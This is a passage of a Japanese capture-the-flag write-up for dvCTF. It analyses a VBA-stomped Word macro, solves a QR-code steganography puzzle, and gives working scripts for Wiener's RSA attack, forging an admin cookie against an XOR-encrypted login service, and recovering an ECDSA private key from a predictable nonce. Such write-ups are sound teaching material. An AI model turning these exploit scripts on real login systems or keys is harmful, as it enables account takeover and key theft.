MsgBox NtZmmyleCqkGuEFNkSyHfhBMcaTHYWJWwcgEvEOCyqhwBigmAZNRkzMoNoyHGRbzzgygLPkhmzIOOrXeXwaBQtXICauoXxTkEastVwWWlVZgPXGSFqdJzhDAfiVuLNoqzlbqBqyMSGinnrhqkoyIlQSZaVynEAzxEzMPIwTNaWFvrjaNHFUtoVdZjJmMUafEnCfkesoCHvsCpsjGVRJtzAOysxVXvtNDkThgPRFWcydkDnDHrzVdEBrdUBFnyCm
End Function
-------------------------------------------------------------------------------
VBA MACRO VBA_P-code.txt 
in file: VBA P-code - OLE stream: 'VBA P-code'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
' Processing file: verybadscript2.doc
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2399 bytes
' Line #0:
' 	FuncDefn (Sub Document_Open())
' Line #1:
' 	LitStr 0x0006 "xvZCth"
' 	Ld ActiveDocument 
' 	ArgsMemLd Variables 0x0001 
' 	MemLd Value 
' 	LitStr 0x0005 "macro"
' 	Ne 
' 	IfBlock 
' Line #2:
' 	ArgsCall rKtKqyjmtLAyWInkZncQYffwXFxbPoOFxFOcswSeJXqpfJWgdloSFxDlydosSMeWIfhZTaEKPiIUnuNIsTnlehCXZWwzhYuXPJcVpTFpEYnfsKgIfMDYveEnTUoKSNfIJdYVRgYKUOFODalepcJQAKAFBouaXshQTowyLJFfGPgMqhkAGxGeZhKSIhsduBsXCMHfUyWPgagHUZWhAtmfVEBrOfpMowiIFIBUTnxkGqsuEGOrGHTRLItTCzltaBm 0x0000 
' Line #3:
' 	LitStr 0x0005 "macro"
' 	LitStr 0x0006 "xvZCth"
' 	Ld ActiveDocument 
' 	ArgsMemLd Variables 0x0001 
' 	MemSt Value 
' Line #4:
' 	Ld ActiveDocument 
' 	MemLd ReadOnly 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #5:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	EndIfBlock 
' Line #8:
' 	EndSub 
' Line #9:
' Macros/VBA/jmHXPwO - 3049 bytes
' Line #0:
' 	FuncDefn (Function yDYRJZhUQU(OOADDDFbwf As Variant))
' Line #1:
' 	Dim 
' 	VarDefn MhIwNFkbfP
' 	VarDefn vUyBgIYBFZ (As String)
' 	VarDefn BMOMyOwHIb
' 	VarDefn SOBdscdEVY
' Line #2:
' 	LitStr 0x0006 "xvZCth"
' 	Ld ActiveDocument 
' 	ArgsMemLd Variables 0x0001 
' 	ArgsMemLd Value 0x0000 
' 	St vUyBgIYBFZ 
' Line #3:
' 	LitStr 0x0000 ""
' 	St MhIwNFkbfP 
' Line #4:
' 	LitDI2 0x0001 
' 	St BMOMyOwHIb 
' Line #5:
' 	Ld BMOMyOwHIb 
' 	Ld OOADDDFbwf 
' 	FnUBound 0x0000 
' 	LitDI2 0x0002 
' 	Add 
' 	Lt 
' 	While 
' Line #6:
' 	Ld BMOMyOwHIb 
' 	Ld vUyBgIYBFZ 
' 	FnLen 
' 	Mod 
' 	St SOBdscdEVY 
' 	BoS 0x0000 
' 	Ld SOBdscdEVY 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld vUyBgIYBFZ 
' 	FnLen 
' 	St SOBdscdEVY 
' 	EndIf 
' Line #7:
' 	Ld MhIwNFkbfP 
' 	Ld vUyBgIYBFZ 
' 	Ld SOBdscdEVY 
' 	Ld ezeqxJNwPz 
' 	Add 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	ArgsLd Asc 0x0001 
' 	Ld BMOMyOwHIb 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd OOADDDFbwf 0x0001 
' 	Coerce (Int) 
' 	Xor 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	St MhIwNFkbfP 
' Line #8:
' 	Ld BMOMyOwHIb 
' 	LitDI2 0x0001 
' 	Add 
' 	St BMOMyOwHIb 
' Line #9:
' 	Wend 
' Line #10:
' 	Ld MhIwNFkbfP 
' 	St yDYRJZhUQU 
' Line #11:
' 	EndFunc 
' Line #12:
' 	FuncDefn (Public Function rKtKqyjmtLAyWInkZncQYffwXFxbPoOFxFOcswSeJXqpfJWgdloSFxDlydosSMeWIfhZTaEKPiIUnuNIsTnlehCXZWwzhYuXPJcVpTFpEYnfsKgIfMDYveEnTUoKSNfIJdYVRgYKUOFODalepcJQAKAFBouaXshQTowyLJFfGPgMqhkAGxGeZhKSIhsduBsXCMHfUyWPgagHUZWhAtmfVEBrOfpMowiIFIBUTnxkGqsuEGOrGHTRLItTCzltaBm())
' Line #13:
' 	LineCont 0x0004 30 00 00 00
' 	LitDI2 0x0031 
' 	LitDI2 0x002F 
' 	LitDI2 0x0014 
' 	LitDI2 0x001C 
' 	LitDI2 0x0013 
' 	LitDI2 0x004F 
' 	LitDI2 0x0038 
' 	LitDI2 0x005B 
' 	LitDI2 0x003D 
' 	LitDI2 0x0055 
' 	LitDI2 0x0003 
' 	LitDI2 0x0008 
' 	LitDI2 0x006A 
' 	LitDI2 0x0078 
' 	LitDI2 0x0021 
' 	LitDI2 0x0036 
' 	LitDI2 0x0011 
' 	LitDI2 0x0025 
' 	LitDI2 0x007C 
' 	LitDI2 0x0030 
' 	LitDI2 0x0066 
' 	LitDI2 0x002F 
' 	LitDI2 0x0061 
' 	LitDI2 0x006D 
' 	LitDI2 0x002A 
' 	LitDI2 0x005A 
' 	LitDI2 0x001C 
' 	LitDI2 0x0045 
' 	LitDI2 0x0006 
' 	LitDI2 0x0078 
' 	LitDI2 0x002D 
' 	LitDI2 0x000A 
' 	LitDI2 0x0007 
' 	LitDI2 0x000C 
' 	ArgsArray Array 0x0022 
' 	LitDI2 0x0000 
' 	ArgsLd yDYRJZhUQU 0x0002 
' 	St qBkhfHackIBJVCxwNYzMcNILtNKtYYLFZcubaAtjEzTRuvtuYcAYzhzrkMgHxqPnrfwlXOMAFuPmkuGghVxdGghaSKKasudpEAsIdBNxZKmRldsBAtQWzDbgNAPTnXmBfJVIYnMpDtCBlfGuucjuEOfViwExPHuZnhjOTcMIcIzCHyeMtyExwsAaQlofQMSdTojMNZpPpvsgUeLcBpRqCBmyVVUtRnrwlekNvKmErFRCyhRXjzQadQGAAmNcZlw 
' Line #14:
' 	LineCont 0x0008 30 00 00 00 58 00 00 00
' 	LitDI2 0x0001 
' 	LitDI2 0x0035 
' 	LitDI2 0x0020 
' 	LitDI2 0x0010 
' 	LitDI2 0x0063 
' 	LitDI2 0x002B 
' 	LitDI2 0x0022 
' 	LitDI2 0x0042 
' 	LitDI2 0x0042 
' 	LitDI2 0x0026 
' 	LitDI2 0x003D 
' 	LitDI2 0x004B 
' 	LitDI2 0x0035 
' 	LitDI2 0x0004 
' 	LitDI2 0x0050 
' 	LitDI2 0x000B 
' 	LitDI2 0x004B 
' 	LitDI2 0x0031 
' 	LitDI2 0x0032 
' 	LitDI2 0x0016 
' 	LitDI2 0x003B 
' 	LitDI2 0x0024 
' 	LitDI2 0x0032 
' 	LitDI2 0x0058 
' 	LitDI2 0x0010 
' 	LitDI2 0x003E 
' 	LitDI2 0x0057 
' 	LitDI2 0x000F 
' 	LitDI2 0x0048 
' 	LitDI2 0x002A 
' 	LitDI2 0x001B 
' 	LitDI2 0x0022 
' 	LitDI2 0x0013 
' 	LitDI2 0x001A 
' 	LitDI2 0x0021 
' 	LitDI2 0x003D 
' 	LitDI2 0x0013 
' 	LitDI2 0x004D 
' 	LitDI2 0x0030 
' 	LitDI2 0x002E 
' 	LitDI2 0x003A 
' 	LitDI2 0x0066 
' 	LitDI2 0x0008 
' 	LitDI2 0x005E 
' 	LitDI2 0x0040 
' 	LitDI2 0x0024 
' 	LitDI2 0x0048 
' 	LitDI2 0x002F 
' 	LitDI2 0x0020 
' 	LitDI2 0x0038 
' 	LitDI2 0x0050 
' 	LitDI2 0x0000 
' 	LitDI2 0x006A 
' 	ArgsArray Array 0x0035 
' 	LitDI2 0x0022 
' 	ArgsLd yDYRJZhUQU 0x0002 
' 	St RtUdWHwUjcYWfMbdYzEtJJxGBCaeZuMsGqJaJNhgiegvWcnKCXCyiwfQpHNxmXHARBtnjxDyHQsANVNilEeRnnqZvAGBVhqHIuMldBclOGfVPCZAxgABWdkByLLWXdkgweWhXfkrrjPBVzncoLcBhVrXyilAcvZnXUeSdeeNZCzDtvvADRgrHokTHtStQlbtFzVjXDzkdxbOjiUeZGRvzIYpVtHqgUkHMDikqkENzJDMlbMzpobnWMxdrysbNzY 
' Line #15:
' 	Ld RtUdWHwUjcYWfMbdYzEtJJxGBCaeZuMsGqJaJNhgiegvWcnKCXCyiwfQpHNxmXHARBtnjxDyHQsANVNilEeRnnqZvAGBVhqHIuMldBclOGfVPCZAxgABWdkByLLWXdkgweWhXfkrrjPBVzncoLcBhVrXyilAcvZnXUeSdeeNZCzDtvvADRgrHokTHtStQlbtFzVjXDzkdxbOjiUeZGRvzIYpVtHqgUkHMDikqkENzJDMlbMzpobnWMxdrysbNzY 
' 	ArgsCall MsgBox 0x0001 
' Line #16:
' 	EndFunc 
' Line #17:
' Line #18:
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|.Variables          |May use Word Document Variables to store and |
|          |                    |hide data                                    |
|Suspicious|VBA Stomping        |VBA Stomping was detected: the VBA source    |
|          |                    |code and P-code are different, this may have |
|          |                    |been used to hide malicious code             |
+----------+--------------------+---------------------------------------------+
VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/decalage2/oletools/issues

マクロコードとP-codeで異なる。実体はP-codeの方なので、そちらを分析する。仕組みは「Very Bad Script」と同様のようだ。
VBAで"xvZCth"の値を表示させる。

UYWHU4PjYdm15IOiaFLTUpPXDmCvhHX3oqITHqCRM7ePXkWa5ekYSuPAVy0wpbhYoGrvHStmQBVFq15VhIIT5sKZdENzLF7vrpIqzCd5twV32WoYt8F2YQ5FamSKrXVWwWX3L8I6kSantohTj3PfNrgnl2s9CYINZg6oWX0NhEQ6iO8A4VKIA7Szxj4S7fSoLbvONMyBLbvgMjNoOm2ctpdO4i26Htjuohmiaq6laNY6tzm2TbfXroE5kzuGSCVmYCub519YZXZwve0MTzuJn5MRJGkzkwnOPofA9bETdTlha9QM2K5P5wov5gUIodYsxBrXpwv348IrM8jF58jtIe3YUZLSWa4qLYFYDczkg7mzRG56oNG3O8GbXEQdhMEY3cn5jZ93zgJ8doLxcJy1d6b02hP8ZsSD6YwgLo1IGAwVb2O5775siKjDWJEJ4oXmXOirACPaK5TTFxF95I3CQos7mZwiZaYx0KumwI8jN3tFXq4Kp1pqjga9c9OcMMPlT5vsdcKFALtB4vIroKxpjHINOzcZj8NzfFoBmz62k1JWkEcXlOvigor1As56QvFQbLoTpRSwsBw6GwHf4mT2DaZMPkextCkbWuWYzh5Mn1V6e8eFZNSnVMi7LEysNH5sMcQEznbvdJV8FZVaQuEiANuVPzrfilCPyzLnVnbLRSA62Xe8mHJ8r777UcWTJ5ngzRGvEwT9SEtuMNNHY8KTxMt99emSTFZJPIZG5qrFC8WxokiXC1dxtI69XqhmmJwzZ9GLCyXRX2uZzWlFFUMy5rSVSQ93yBDbAam7ikqrxY4DBLczm4ezjwY91dbbELKnqyvhHKF3xRu3JRoKetPEMXLF46mYSsWbBtkm3HwYVYO2ntyj7PEMapc0Ahyow0wIK82rYuarI68nbDvsjjiG6UVWZgCamqp49Jx3Y5jVaZjHEZav4XDl87eTWmCQINjiNnpgyNtrb3CREZhSofn93OExcrCEGoJVlJrGK8N8fm1GtOQfksAOqGCzkUGtjOq

この情報を元にXORで変数を表示させる。

s = 'UYWHU4PjYdm15IOiaFLTUpPXDmCvhHX3oqITHqCRM7ePXkWa5ekYSuPAVy0wpbhYoGrvHStmQBVFq15VhIIT5sKZdENzLF7vrpIqzCd5twV32WoYt8F2YQ5FamSKrXVWwWX3L8I6kSantohTj3PfNrgnl2s9CYINZg6oWX0NhEQ6iO8A4VKIA7Szxj4S7fSoLbvONMyBLbvgMjNoOm2ctpdO4i26Htjuohmiaq6laNY6tzm2TbfXroE5kzuGSCVmYCub519YZXZwve0MTzuJn5MRJGkzkwnOPofA9bETdTlha9QM2K5P5wov5gUIodYsxBrXpwv348IrM8jF58jtIe3YUZLSWa4qLYFYDczkg7mzRG56oNG3O8GbXEQdhMEY3cn5jZ93zgJ8doLxcJy1d6b02hP8ZsSD6YwgLo1IGAwVb2O5775siKjDWJEJ4oXmXOirACPaK5TTFxF95I3CQos7mZwiZaYx0KumwI8jN3tFXq4Kp1pqjga9c9OcMMPlT5vsdcKFALtB4vIroKxpjHINOzcZj8NzfFoBmz62k1JWkEcXlOvigor1As56QvFQbLoTpRSwsBw6GwHf4mT2DaZMPkextCkbWuWYzh5Mn1V6e8eFZNSnVMi7LEysNH5sMcQEznbvdJV8FZVaQuEiANuVPzrfilCPyzLnVnbLRSA62Xe8mHJ8r777UcWTJ5ngzRGvEwT9SEtuMNNHY8KTxMt99emSTFZJPIZG5qrFC8WxokiXC1dxtI69XqhmmJwzZ9GLCyXRX2uZzWlFFUMy5rSVSQ93yBDbAam7ikqrxY4DBLczm4ezjwY91dbbELKnqyvhHKF3xRu3JRoKetPEMXLF46mYSsWbBtkm3HwYVYO2ntyj7PEMapc0Ahyow0wIK82rYuarI68nbDvsjjiG6UVWZgCamqp49Jx3Y5jVaZjHEZav4XDl87eTWmCQINjiNnpgyNtrb3CREZhSofn93OExcrCEGoJVlJrGK8N8fm1GtOQfksAOqGCzkUGtjOq'

codes = [0x31, 0x2F, 0x14, 0x1C, 0x13, 0x4F, 0x38, 0x5B, 0x3D, 0x55, 0x03, 0x08, 0x6A, 0x78, 0x21, 0x36, 0x11, 0x25, 0x7C, 0x30, 0x66, 0x2F, 0x61, 0x6D, 0x2A, 0x5A, 0x1C, 0x45, 0x06, 0x78, 0x2D, 0x0A, 0x07, 0x0C]

flag = ''
for i in range(1, len(codes) + 1):
    flag += chr(ord(s[i + 0 - 1]) ^ codes[i - 1])
print('flag:', flag)

実行結果は以下の通り。

flag: dvCTF{h1d1n9_1n_pc0d3_15n7_3n0u9h}
dvCTF{h1d1n9_1n_pc0d3_15n7_3n0u9h}

The Art of Details (Steganography)

docxをzip解凍する。word/media配下にimage1.png~image3.pngがあり、QRコードの画像になっているので、それぞれデコードする。

[image1.png]
aXRpc25vdHRoZWZsYWc=

[image2.png]
dGhla2V5ezRBajgyRDZoUlpLQThocXA1dG01fQ==

[image3.png]
defaw{u1qeuugx&crl0gl_4_r_fbe4a_f4hli0rm}

image1.pngとimage2.pngのデコード結果はbase64文字列になっているので、デコードする。

$ echo aXRpc25vdHRoZWZsYWc= | base64 -d
itisnottheflag

$ echo dGhla2V5ezRBajgyRDZoUlpLQThocXA1dG01fQ== | base64 -d
thekey{4Aj82D6hRZKA8hqp5tm5}

image3.pngのデコードした文字列はVigenere暗号の暗号文と推測する。数字を除いたアルファベット"AJDHRZKAHQPTM"を鍵にして、https://www.dcode.fr/vigenere-cipherで復号する。

dvctf{v1genere&qrc0de_4_a_gre4t_p4ssw0rd}

small weiner (Cryptography)

Wiener's Attackでdを求める。

#!/usr/bin/env sage
from Crypto.Util.number import *

def wiener(m, e, n):
    c = pow(m, e, n)
    q0 = 1

    list1 = continued_fraction(Integer(e)/Integer(n))
    conv = list1.convergents()
    for i in conv:
        k = i.numerator()
        q1 = i.denominator()

        for r in range(30):
            for s in range(30):
                d = r*q1 + s*q0
                m1 = pow(c, d, n)
                if m1 == m:
                    return d
        q0 = q1
    return None

m = 0x596f7520686176652073756368206120736d616c6c207765696e65722e2049204841544520594f5521212121
N = 0x26553fbb7e4bd5bd48868a25f24d9cc5975aa8597f82110058e687dfa10dd0114c0d2011fa288dbd9d01c0a70dfa8212d5a218d513bdd8ebed9f75bc299e1461be8a23ed8ade96bc449d409fbbf5a328ee2ad3257e6c55a97641258730f74f4d3938f0df794546791ba2b1518b8d855e83f65f885d67aa000a01687ac605404e7bca681e51e6e195f77eb4785fcda0372e3d0fd90240f736243584677f89da4c6ab54d687897d5afb0801cc151c516b072aaa2d9aa8d39d34c230536cba077beaa88ff8e8940a5ba990cafd0b1326f209873a43a785d0c5477241fb6469b8c27c7d54908467a7525de18b2425901c0de3ed63472831c29818ce6efb0354c61f36b2e61146472e99209d198bc885ced0edb66eab62a968c9b98b49b756c689d69820ca1d97e1232c338084097078265ce79b25c1e37bc777247af3fee2ce7a87a697a120c0428327177cf6e934aa2d18e696474227d361a5c36992788c3b1aa8654b88852e897027d58b21576b25a5ffdcb9fbdc5167eb74f1c9082ae79ca0b89
e = 0xfc2e4d12eb69a42c074d9a0ddc6b84294f1e23d6eaa0ba53e9cb60ec0db203d31bdfb90eaca38189890ad26335ad6107cd234a415bfc73fc1bbd6c5d9da65249eebb57d889f91719cfdbd535ab19d2d317ffdf075870a62c6e05aac16c9b122e1c52d7dbeb2fb683514d0f463b58a4217f2e379e5a62be06e764e043a0eac5ac6af56816af926bcc4cd826ee1cfd4157496dc024042676503cec93de45c3c5e4dd9dcf85406a3cf93a9f784b9eef6e320cd9856aefff48df52127b98da8a0d207f588ce1c58e47419554590b1fa7fa3c38034f93a3a5112b6dd5e78c181abc2d972fbcb058575789c68c03f043bd4bf48d94fa7390c77f9fc033f3f01a5162d31056eb42a07397f3485b25396f93558466fc49ef80adea1e9d6c3d9edf529be5faf014669ae5f8e02433a2474d9c92fcc468d81aa0fd641a5647d55153713783a9e5d66fe70c9c2794325b28f20b751fb49359c4a8487bbfa7efc6270b7fa0ffe277276bba14027596d129fcbdef0a82aba24855bfd2155071b52c11da2d943

d = wiener(m, e, N)
print(d)

実行結果は以下の通り。

79070855007994582698354011721316587208400326157509581241514418985973605934731
dvCTF{79070855007994582698354011721316587208400326157509581241514418985973605934731}

Secure Or Not Secure (Cryptography)

$ nc challs.dvc.tf 2600
------ Welcome to my secure login system ------
1. Login
2. Register
3. Exit
-----------------------------------------------
>>> 2
Username: abcd
Password: efgh
Here is your cookie: iYo65bSB2wddoLu1a6+z9hnk0IknI/KFs3CjxiBSqxPAOB00BwyEjK5q3Dt4h2nQYtFDlj5KNQ==
------ Welcome to my secure login system ------
1. Login
2. Register
3. Exit
-----------------------------------------------
>>> 1
Cookie: iYo65bSB2wddoLu1a6+z9hnk0IknI/KFs3CjxiBSqxPAOB00BwyEjK5q3Dt4h2nQYtFDlj5KNQ==
You're not the admin! The cookie b'username=abcd\x00\x00\x00\x00;admin=False;password=efgh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' is invalid!
------ Welcome to my secure login system ------
1. Login
2. Register
3. Exit
-----------------------------------------------
>>> 2
Username: abcd;admin=True;
Password: pass
Here is your cookie: iYo65bSB2wddoLu1a6/SknTk0IknI/KFs3CjxiBSqxPAOB00BwyEmal+xzt4h2nQYtFDlj5KNQ==
------ Welcome to my secure login system ------
1. Login
2. Register
3. Exit
-----------------------------------------------
>>> 1
Cookie: iYo65bSB2wddoLu1a6/SknTk0IknI/KFs3CjxiBSqxPAOB00BwyEmal+xzt4h2nQYtFDlj5KNQ==
You're not the admin! The cookie b'username=abcd\x00adm;admin=False;password=pass\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' is invalid!
------ Welcome to my secure login system ------
1. Login
2. Register
3. Exit
-----------------------------------------------
>>> 

\x00->*にして長さを確認

username=abcd****;admin=False;password=efgh************
→長さは55
>>> from base64 import *
>>> b64decode('Ote6K22uRtxbjPUeSOeAHxQ+RDu9KxcjN6iYqcsdT4w9BuzxX11L2FI9+K0lOGseiHwCt4dVpg==')
b':\xd7\xba+m\xaeF\xdc[\x8c\xf5\x1eH\xe7\x80\x1f\x14>D;\xbd+\x17#7\xa8\x98\xa9\xcb\x1dO\x8c=\x06\xec\xf1_]K\xd8R=\xf8\xad%8k\x1e\x88|\x02\xb7\x87U\xa6'
>>> len(b64decode('Ote6K22uRtxbjPUeSOeAHxQ+RDu9KxcjN6iYqcsdT4w9BuzxX11L2FI9+K0lOGseiHwCt4dVpg=='))
55

XOR暗号と推測して、XOR鍵を算出して、以下とのXORを算出しクッキーとしてログインする。

username=abcd****;admin=True;password=efgh************
#!/usr/bin/env python3
import socket
import base64
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def register(s, username, password):
    data = recvuntil(s, b'>>> ')
    print(data + '2')
    s.sendall(b'2\n')
    data = recvuntil(s, b': ')
    print(data + username)
    s.sendall(username.encode() + b'\n')
    data = recvuntil(s, b': ')
    print(data + password)
    s.sendall(password.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    cookie = data.split(' ')[-1]
    return cookie

def login(s, cookie, ret=True):
    data = recvuntil(s, b'>>> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b': ')
    print(data + cookie)
    s.sendall(cookie.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if ret:
        pt = eval(data.split(' ')[-3])
        return pt

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.dvc.tf', 2600))

cookie = register(s, 'admin', 'nimda')
pt_cookie = base64.b64decode(cookie.encode())

pt_auth = login(s, cookie)
key = strxor(pt_auth, pt_cookie)

pt_auth = pt_auth.replace(b'False', b'True')
cookie = base64.b64encode(strxor(pt_auth, key[:len(pt_auth)])).decode()

login(s, cookie, False)

実行結果は以下の通り。

------ Welcome to my secure login system ------
1. Login
2. Register
3. Exit
-----------------------------------------------
>>> 2
Username: admin
Password: nimda
Here is your cookie: J1ptMTzn/oZhuCVcvFJ0jwsPnKLgIynSrKUMPTGl560jpel5TJ3NdhoutaRy5Qi7SKaqh+YTrw==
------ Welcome to my secure login system ------
1. Login
2. Register
3. Exit
-----------------------------------------------
>>> 1
Cookie: J1ptMTzn/oZhuCVcvFJ0jwsPnKLgIynSrKUMPTGl560jpel5TJ3NdhoutaRy5Qi7SKaqh+YTrw==
You're not the admin! The cookie b'username=admin\x00\x00\x00;admin=False;password=nimda\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' is invalid!
------ Welcome to my secure login system ------
1. Login
2. Register
3. Exit
-----------------------------------------------
>>> 1
Cookie: J1ptMTzn/oZhuCVcvFJ0jwsPnKLgIynSvrYVK2/u9r8jofFkWsSecR4nsMVy5Qi7SKaqh+YT
Congrats! You can validate with this flag: dvCTF{42d71e9ee0f5205b54213b10d39c548f}
dvCTF{42d71e9ee0f5205b54213b10d39c548f}

Cwyptographic Owacle (Cryptography)

$ nc challs.dvc.tf 2601
Hiii ~~ Pwease feel fwee to use my sooper dooper cwyptographic owacle! ~~~~~~
[1] > Sign your own message ≧◡≦
[2] > Get the signed flag uwu ~~ 
[3] > Quit (pwease don't leave me)
1
What's your message senpai? (●´ω`●) > a
Signature (r,s): (38698225307763416566974858959924357250869054329049477132492979822881362761646,61738321829341460905411845398534926909730649380416929838008993630518751513494)
[1] > Sign your own message ≧◡≦
[2] > Get the signed flag uwu ~~ 
[3] > Quit (pwease don't leave me)
2
597426ff397d593dd97d58e8ed0701ab7afec05e4c2f9b7fdc59aa2a4e61aa9964000f79963a6151562e675184202d97
[1] > Sign your own message ≧◡≦
[2] > Get the signed flag uwu ~~ 
[3] > Quit (pwease don't leave me)

サーバの処理概要は以下の通り。

・m = 0
・以下繰り返し
 ・メニュー選択
  ・1を選択した場合
   ・msg: 入力
   ・G: NIST256pのGenerator
   ・priv: 1以上Gのorder未満のランダム整数
   ・k: mが0の場合は1以上2**128未満ランダム整数、そうでない場合はUNIXTIME * m
   ・m = int(hashlib.sha256(msg.encode()).hexdigest(),base=16)
   ・sig: m, kのsignature
   ・sig,r, sig.sを表示
  ・2を選択した場合   
   ・key: privの文字列化
   ・パディングしたFLAGをkeyでAES ECB暗号化
    →16進数表記で表示

ECDSAに関する問題。2回目の1選択では、秒単位の調整が必要かもしれないが、kの値を算出できる。あとは以下のように変形すれば、privを算出できることがわかる。

n = order
s = (inverse(k, n) * (m + r * priv)) % n
   ↓
(k * s) % n = (m + r * priv) % n
   ↓
priv = ((k * s - m) * inverse(r, n)) % n

フラグの暗号化データを入手後、このprivからAESの鍵を生成し、復号する。

#!/usr/bin/env python3
import socket
import ecdsa
import hashlib
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.dvc.tf', 2601))

msg = 'XXX'

data = recvuntil(s, b')\r\n').rstrip()
print(data)
print('1')
s.sendall(b'1\n')
data = recvuntil(s, b'> ')
print(data + msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\r\n').rstrip()
print(data)

data = recvuntil(s, b')\r\n').rstrip()
print(data)
print('1')
s.sendall(b'1\n')
data = recvuntil(s, b'> ')
print(data + msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\r\n').rstrip()
print(data)

sig_r = int(data.split(' ')[-1].split(',')[0][1:])
sig_s = int(data.split(' ')[-1].split(',')[1][:-1])

cur_time = int(time.time())

data = recvuntil(s, b')\r\n').rstrip()
print(data)
print('2')
s.sendall(b'2\n')
data = recvuntil(s, b'\r\n').rstrip()
print(data)

text = bytes.fromhex(data)

G = ecdsa.NIST256p.generator
n = G.order()
m = int(hashlib.sha256(msg.encode()).hexdigest(), 16)

for t in range(cur_time - 3, cur_time + 3):
    k = t * m
    priv = ((k * sig_s - m) * inverse(sig_r, n)) % n

    key = long_to_bytes(priv)
    cipher = AES.new(key, AES.MODE_ECB)
    FLAG = cipher.decrypt(text)
    if FLAG.startswith(b'dvCTF{'):
        FLAG = unpad(FLAG, 16).decode()
        print(FLAG)
        break

実行結果は以下の通り。

Hiii ~~ Pwease feel fwee to use my sooper dooper cwyptographic owacle! ~~~~~~
[1] > Sign your own message ≧◡≦
[2] > Get the signed flag uwu ~~
[3] > Quit (pwease don't leave me)
1
What's your message senpai? (●´ω`●) > XXX
Signature (r,s): (10492011851745908570521005453752559151067178355958769281265793396684444571231,87235804811476317935201991292078220211417001936689955771500131635174289604714)
[1] > Sign your own message ≧◡≦
[2] > Get the signed flag uwu ~~
[3] > Quit (pwease don't leave me)
1
What's your message senpai? (●´ω`●) > XXX
Signature (r,s): (22854551379746321508888790857390244186149666408454210304631330322363465023013,71690041650112523713683972091028921776166219927817098261078835238576243288839)
[1] > Sign your own message ≧◡≦
[2] > Get the signed flag uwu ~~
[3] > Quit (pwease don't leave me)
2
f91ac7713136b8a348b3a31f962b4cb28f5631e6571a99302efd3149b5a7e447608b4167bf949911bdb91ab3a5fc9135
dvCTF{y0u_h4v3_500p32_d00p32_c2yp70_5kill5_uwu}
dvCTF{y0u_h4v3_500p32_d00p32_c2yp70_5kill5_uwu}